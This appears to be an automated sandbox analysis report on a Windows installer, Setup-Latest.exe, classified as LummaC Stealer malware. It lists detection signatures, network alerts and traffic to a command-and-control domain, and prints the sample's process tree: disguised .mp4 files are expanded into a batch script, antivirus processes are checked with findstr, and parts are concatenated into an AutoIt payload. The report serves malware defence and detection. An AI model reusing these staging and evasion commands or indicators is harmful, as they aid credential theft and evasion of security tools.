Edit tour

Windows Analysis Report
Setup-Latest.exe

Overview

General Information

Sample name:	Setup-Latest.exe
Analysis ID:	1615219
MD5:	d905d14928e2766285ed7ca83eaaf4b3
SHA1:	5d27b2c538c81f7819f7de1071c28ecd03c5bd2e
SHA256:	721f6073f9ec13d9a1b7cff7b7cfab342ec6fd5ebc1a95c006ae11198e8abfc9
Tags:	AutoITexeLummaStealeruser-aachum
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Sigma detected: Search for Antivirus process

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Drops PE files with a suspicious file extension

Joe Sandbox ML detected suspicious sample

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Classification

Process Tree

System is w10x64

Setup-Latest.exe (PID: 7556 cmdline: "C:\Users\user\Desktop\Setup-Latest.exe" MD5: D905D14928E2766285ED7CA83EAAF4B3)

cmd.exe (PID: 7596 cmdline: "C:\Windows\system32\cmd.exe" /c expand Wide.mp4 Wide.mp4.bat & Wide.mp4.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7604 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

expand.exe (PID: 7648 cmdline: expand Wide.mp4 Wide.mp4.bat MD5: 544B0DBFF3F393BCE8BB9D815F532D51)

tasklist.exe (PID: 7700 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 7708 cmdline: findstr /I "opssvc wrsa" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 7744 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 7752 cmdline: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 7792 cmdline: cmd /c md 562639 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

extrac32.exe (PID: 7808 cmdline: extrac32 /Y /E Always.mp4 MD5: 9472AAB6390E4F1431BAA912FCFF9707)

findstr.exe (PID: 7836 cmdline: findstr /V "Yang" Labor MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 7852 cmdline: cmd /c copy /b 562639\Wages.com + Uniform + Textbooks + Exhibits + Accountability + Fails + Pavilion + Suggestions + Decorating + Volunteers 562639\Wages.com MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 7868 cmdline: cmd /c copy /b ..\Strikes.mp4 + ..\Darkness.mp4 + ..\Oaks.mp4 + ..\Fares.mp4 + ..\Funding.mp4 + ..\Complimentary.mp4 + ..\Relate.mp4 G MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Wages.com (PID: 7884 cmdline: Wages.com G MD5: 62D09F076E6E0240548C2F837536A46A)

choice.exe (PID: 7904 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

cleanup

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Sigma Signatures

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /c expand Wide.mp4 Wide.mp4.bat & Wide.mp4.bat, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7596, ParentProcessName: cmd.exe, ProcessCommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , ProcessId: 7752, ProcessName: findstr.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-14T16:55:55.172476+0100	2028371	3	Unknown Traffic	192.168.2.4	49737	188.114.97.3	443	TCP
2025-02-14T16:55:56.196791+0100	2028371	3	Unknown Traffic	192.168.2.4	49738	188.114.97.3	443	TCP
2025-02-14T16:55:57.459844+0100	2028371	3	Unknown Traffic	192.168.2.4	49739	188.114.97.3	443	TCP
2025-02-14T16:55:59.322762+0100	2028371	3	Unknown Traffic	192.168.2.4	49740	188.114.97.3	443	TCP
2025-02-14T16:56:00.447277+0100	2028371	3	Unknown Traffic	192.168.2.4	49741	188.114.97.3	443	TCP
2025-02-14T16:56:01.763539+0100	2028371	3	Unknown Traffic	192.168.2.4	49742	188.114.97.3	443	TCP
2025-02-14T16:56:03.118342+0100	2028371	3	Unknown Traffic	192.168.2.4	49743	188.114.97.3	443	TCP
2025-02-14T16:56:05.414362+0100	2028371	3	Unknown Traffic	192.168.2.4	49744	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-14T16:55:55.683804+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49737	188.114.97.3	443	TCP
2025-02-14T16:55:56.847472+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49738	188.114.97.3	443	TCP
2025-02-14T16:56:05.960131+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49744	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-14T16:55:55.683804+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49737	188.114.97.3	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-14T16:55:58.812520+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49739	188.114.97.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: Setup-Latest.exe	Virustotal: Detection: 19%			Perma Link
Source: Setup-Latest.exe	ReversingLabs: Detection: 18%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 96.0% probability

Source: Setup-Latest.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49744 version: TLS 1.2

Source: Setup-Latest.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\Setup-Latest.exe	Code function: 0_2_00406301 FindFirstFileW,FindClose,		0_2_00406301
Source: C:\Users\user\Desktop\Setup-Latest.exe	Code function: 0_2_00406CC7 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,		0_2_00406CC7

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\562639	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\562639\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49738 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49737 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49737 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49739 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49744 -> 188.114.97.3:443

Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49742 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49743 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49738 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49739 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49740 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49744 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49741 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49737 -> 188.114.97.3:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: zengardxen.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 46Host: zengardxen.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=O8W7XY041YOVJERDM2User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18163Host: zengardxen.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=L1XEQBKUETKEOFX6User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8772Host: zengardxen.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=0NOQB56KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20377Host: zengardxen.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=WF1N3UL2JOPUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 2617Host: zengardxen.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=64YFSWT7I6O5LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 558936Host: zengardxen.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 80Host: zengardxen.cyou

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: jnYxaqNNmUyHTVQ.jnYxaqNNmUyHTVQ
Source: global traffic	DNS traffic detected: DNS query: zengardxen.cyou

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: zengardxen.cyou

Source: Volunteers.9.dr, Wages.com.1.dr	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: Volunteers.9.dr, Wages.com.1.dr	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: Volunteers.9.dr, Wages.com.1.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: Volunteers.9.dr, Wages.com.1.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: Volunteers.9.dr, Wages.com.1.dr	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: Setup-Latest.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: Volunteers.9.dr, Wages.com.1.dr	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: Volunteers.9.dr, Wages.com.1.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: Volunteers.9.dr, Wages.com.1.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: Volunteers.9.dr, Wages.com.1.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: Volunteers.9.dr, Wages.com.1.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: Volunteers.9.dr, Wages.com.1.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: Wages.com, 0000000D.00000000.1763368679.0000000000985000.00000002.00000001.01000000.00000007.sdmp, Decorating.9.dr, Wages.com.1.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/X
Source: Volunteers.9.dr, Wages.com.1.dr	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: Wages.com.1.dr	String found in binary or memory: https://www.globalsign.com/repository/0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49744 version: TLS 1.2

Source: C:\Users\user\Desktop\Setup-Latest.exe

Code function: 0_2_004050F9 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004050F9

Source: C:\Users\user\Desktop\Setup-Latest.exe

Code function: 0_2_004044D1 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004044D1

Source: C:\Users\user\Desktop\Setup-Latest.exe

Code function: 0_2_004038AF EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,InitOnceBeginInitialize,ExitWindowsEx,

0_2_004038AF

Source: C:\Users\user\Desktop\Setup-Latest.exe	File created: C:\Windows\CompletionMortgages	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	File created: C:\Windows\OlympicsGreek	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	File created: C:\Windows\PavilionDressed	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	File created: C:\Windows\SpaMeetings	Jump to behavior

Source: C:\Users\user\Desktop\Setup-Latest.exe	Code function: 0_2_0040737E	0_2_0040737E
Source: C:\Users\user\Desktop\Setup-Latest.exe	Code function: 0_2_00406EFE	0_2_00406EFE
Source: C:\Users\user\Desktop\Setup-Latest.exe	Code function: 0_2_004079A2	0_2_004079A2
Source: C:\Users\user\Desktop\Setup-Latest.exe	Code function: 0_2_004049A8	0_2_004049A8

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\562639\Wages.com 1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49

Source: C:\Users\user\Desktop\Setup-Latest.exe

Code function: String function: 004062CF appears 58 times

Source: Setup-Latest.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@28/23@2/1

Source: C:\Users\user\Desktop\Setup-Latest.exe

0_2_004044D1

Source: C:\Users\user\Desktop\Setup-Latest.exe

Code function: 0_2_004024FB CoCreateInstance,

0_2_004024FB

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7604:120:WilError_03

Source: C:\Users\user\Desktop\Setup-Latest.exe

File created: C:\Users\user\AppData\Local\Temp\nsdD8A1.tmp

Jump to behavior

Source: C:\Users\user\Desktop\Setup-Latest.exe

Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c expand Wide.mp4 Wide.mp4.bat & Wide.mp4.bat

Source: Setup-Latest.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\Setup-Latest.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Setup-Latest.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Setup-Latest.exe	Virustotal: Detection: 19%
Source: Setup-Latest.exe	ReversingLabs: Detection: 18%

Source: C:\Users\user\Desktop\Setup-Latest.exe

File read: C:\Users\user\Desktop\Setup-Latest.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Setup-Latest.exe "C:\Users\user\Desktop\Setup-Latest.exe"
Source: C:\Users\user\Desktop\Setup-Latest.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c expand Wide.mp4 Wide.mp4.bat & Wide.mp4.bat
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\expand.exe expand Wide.mp4 Wide.mp4.bat
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 562639
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Always.mp4
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Yang" Labor
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 562639\Wages.com + Uniform + Textbooks + Exhibits + Accountability + Fails + Pavilion + Suggestions + Decorating + Volunteers 562639\Wages.com
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Strikes.mp4 + ..\Darkness.mp4 + ..\Oaks.mp4 + ..\Fares.mp4 + ..\Funding.mp4 + ..\Complimentary.mp4 + ..\Relate.mp4 G
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\562639\Wages.com Wages.com G
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\Desktop\Setup-Latest.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c expand Wide.mp4 Wide.mp4.bat & Wide.mp4.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\expand.exe expand Wide.mp4 Wide.mp4.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 562639	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Always.mp4	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Yang" Labor	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 562639\Wages.com + Uniform + Textbooks + Exhibits + Accountability + Fails + Pavilion + Suggestions + Decorating + Volunteers 562639\Wages.com	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Strikes.mp4 + ..\Darkness.mp4 + ..\Oaks.mp4 + ..\Fares.mp4 + ..\Funding.mp4 + ..\Complimentary.mp4 + ..\Relate.mp4 G	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\562639\Wages.com Wages.com G	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior

Source: C:\Users\user\Desktop\Setup-Latest.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup-Latest.exe	Section loaded: coremessaging.dll	Jump to behavior
